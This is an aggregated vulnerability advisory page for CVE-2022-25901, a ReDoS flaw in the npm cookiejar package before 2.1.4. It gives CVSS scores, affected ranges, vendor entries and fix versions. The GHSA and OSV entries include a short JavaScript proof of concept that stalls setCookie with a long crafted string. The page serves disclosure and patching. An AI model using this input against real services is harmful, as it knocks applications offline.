CVE-2022-25901
published 2023-01-18CVE-2022-25901: Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an…
PriorityP336high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
1.55%
72.5th percentile
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| cookiejar_project | cookiejar | < 2.1.4 | 2.1.4 |
| cookiejar_project | cookiejar | <= 2.1.3 | — |
| cookiejar_project | cookiejar | >= 0 < 2.1.4 | 2.1.4 |
| debian | node-cookiejar | < node-cookiejar 2.1.4+~2.1.2-1 (bookworm) | node-cookiejar 2.1.4+~2.1.2-1 (bookworm) |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv7.5HIGH
vendor_debian5.3MEDIUM
vendor_redhat5.3MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
CVE-2022-25901: Versions of the package cookiejar before 2
osv·2023-01-18·CVSS 7.5
CVE-2022-25901 [HIGH] CVE-2022-25901: Versions of the package cookiejar before 2
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.
GHSA
cookiejar Regular Expression Denial of Service via Cookie.parse function
ghsa·2023-01-18
CVE-2022-25901 [MEDIUM] CWE-1333 cookiejar Regular Expression Denial of Service via Cookie.parse function
cookiejar Regular Expression Denial of Service via Cookie.parse function
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
```
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
```
```
CookieJar.setCookie(): 2963.214399999939ms
```
OSV
cookiejar Regular Expression Denial of Service via Cookie.parse function
osv·2023-01-18
CVE-2022-25901 [MEDIUM] cookiejar Regular Expression Denial of Service via Cookie.parse function
cookiejar Regular Expression Denial of Service via Cookie.parse function
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
```
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
```
```
CookieJar.setCookie(): 2963.214399999939ms
```
Red Hat
cookiejar: Regular Expression Denial of Service (ReDoS)
vendor_redhat·2023-01-18·CVSS 5.3
CVE-2022-25901 [MEDIUM] CWE-1333 cookiejar: Regular Expression Denial of Service (ReDoS)
cookiejar: Regular Expression Denial of Service (ReDoS)
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.
A Regular Expression Denial of Service (ReDoS) vulnerability was found in cookiejar via the Cookie.parse function and other aspects of the API, which uses an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.regular expression.
Package: rhacm2/search-api-rhel8 (Red Hat Advanced Cluster Management for Kubernetes 2) - Affected
Package: firefox (Red Hat Enterprise Linux 6) - Not affected
Package: firef
Debian
CVE-2022-25901: node-cookiejar - Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Express...
vendor_debian·2022·CVSS 5.3
CVE-2022-25901 [MEDIUM] CVE-2022-25901: node-cookiejar - Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Express...
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.
Scope: local
bookworm: resolved (fixed in 2.1.4+~2.1.2-1)
bullseye: resolved (fixed in 2.1.2-1+deb11u1)
forky: resolved (fixed in 2.1.4+~2.1.2-1)
sid: resolved (fixed in 2.1.4+~2.1.2-1)
trixie: resolved (fixed in 2.1.4+~2.1.2-1)
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73https://github.com/bmeck/node-cookiejar/pull/39https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5https://lists.debian.org/debian-lts-announce/2023/09/msg00008.htmlhttps://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73https://github.com/bmeck/node-cookiejar/pull/39https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5https://lists.debian.org/debian-lts-announce/2023/09/msg00008.htmlhttps://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984
2023-01-18
Published